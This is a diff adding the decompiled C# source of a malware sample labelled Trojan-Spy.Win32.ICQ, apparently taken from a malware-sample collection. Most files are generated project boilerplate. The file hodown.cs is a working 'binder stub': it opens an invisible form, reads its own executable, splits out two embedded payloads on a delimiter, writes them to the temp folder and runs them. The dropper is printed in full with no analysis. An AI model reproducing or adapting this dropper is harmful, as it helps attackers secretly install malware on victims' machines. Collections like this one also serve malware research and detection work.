auto-decompiled msil via petikvx

add

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyProduct("")]
+[assembly: AssemblyTitle("")]
+[assembly: AssemblyCompany("")]
+[assembly: Guid("530708d4-ce4a-4314-b1bc-bb2bf06fc787")]
+[assembly: AssemblyFileVersion("0.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCopyright("")]
+[assembly: AssemblyVersion("0.0.0.0")]

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.MyApplication
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace simple_binder_1._0_stub.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = true;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.hodown;
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.MyComputer
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace simple_binder_1._0_stub.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.MyProject
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace simple_binder_1._0_stub.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public hodown m_hodown;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public hodown hodown
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_hodown = MyProject.MyForms.Create__Instance__<hodown>(this.m_hodown);
+          return this.m_hodown;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_hodown)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<hodown>(ref this.m_hodown);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.MySettings
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace simple_binder_1._0_stub.My
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.MySettingsProperty
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace simple_binder_1._0_stub.My
+{
+  [CompilerGenerated]
+  [HideModuleName]
+  [StandardModule]
+  [DebuggerNonUserCode]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.My.Resources.Resources
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace simple_binder_1._0_stub.My.Resources
+{
+  [HideModuleName]
+  [DebuggerNonUserCode]
+  [StandardModule]
+  [CompilerGenerated]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) simple_binder_1._0_stub.My.Resources.Resources.resourceMan, (object) null))
+          simple_binder_1._0_stub.My.Resources.Resources.resourceMan = new ResourceManager("simple_binder_1._0_stub.Resources", typeof (simple_binder_1._0_stub.My.Resources.Resources).Assembly);
+        return simple_binder_1._0_stub.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => simple_binder_1._0_stub.My.Resources.Resources.resourceCulture;
+      set => simple_binder_1._0_stub.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.csproj

@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{D63C89B4-D158-452B-B466-9751989F61F2}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>stub</AssemblyName>
+    <ApplicationVersion>0.0.0.0</ApplicationVersion>
+    <RootNamespace>simple_binder_1._0_stub</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="hodown.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="hodown.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/Trojan-Spy.Win32.ICQ.vir.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.csproj", "{D63C89B4-D158-452B-B466-9751989F61F2}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D63C89B4-D158-452B-B466-9751989F61F2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{D63C89B4-D158-452B-B466-9751989F61F2}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{D63C89B4-D158-452B-B466-9751989F61F2}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{D63C89B4-D158-452B-B466-9751989F61F2}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.cs

@@ -0,0 +1,91 @@
+// Decompiled with JetBrains decompiler
+// Type: simple_binder_1._0_stub.hodown
+// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.IO;
+using System.Windows.Forms;
+
+namespace simple_binder_1._0_stub
+{
+  [DesignerGenerated]
+  public class hodown : Form
+  {
+    private IContainer components;
+    private string[] joejacksmomma;
+    private string ask;
+    private const string FileSplit = "@onetwothree@";
+
+    [DebuggerNonUserCode]
+    public hodown()
+    {
+      this.Load += new EventHandler(this.start);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
+      this.ClientSize = new Size(10, 10);
+      this.ControlBox = false;
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (hodown);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.TransparencyKey = SystemColors.Control;
+      this.WindowState = FormWindowState.Minimized;
+      this.ResumeLayout(false);
+    }
+
+    private void start(object sender, EventArgs e)
+    {
+      string tempPath = Path.GetTempPath();
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
+      this.ask = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref this.ask);
+      FileSystem.FileClose(1);
+      this.joejacksmomma = Strings.Split(this.ask, "@onetwothree@");
+      FileSystem.FileOpen(3, tempPath + this.joejacksmomma[3], OpenMode.Binary, OpenAccess.ReadWrite);
+      FileSystem.FilePut(3, this.joejacksmomma[1], -1L, false);
+      FileSystem.FileClose(3);
+      FileSystem.FileOpen(5, tempPath + this.joejacksmomma[4], OpenMode.Binary, OpenAccess.ReadWrite);
+      FileSystem.FilePut(5, this.joejacksmomma[2], -1L, false);
+      FileSystem.FileClose(5);
+      if (Conversions.ToBoolean(this.joejacksmomma[5]))
+        Process.Start(tempPath + this.joejacksmomma[3]);
+      if (Conversions.ToBoolean(this.joejacksmomma[6]))
+        Process.Start(tempPath + this.joejacksmomma[4]);
+      this.Close();
+      ProjectData.EndApp();
+    }
+  }
+}

MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
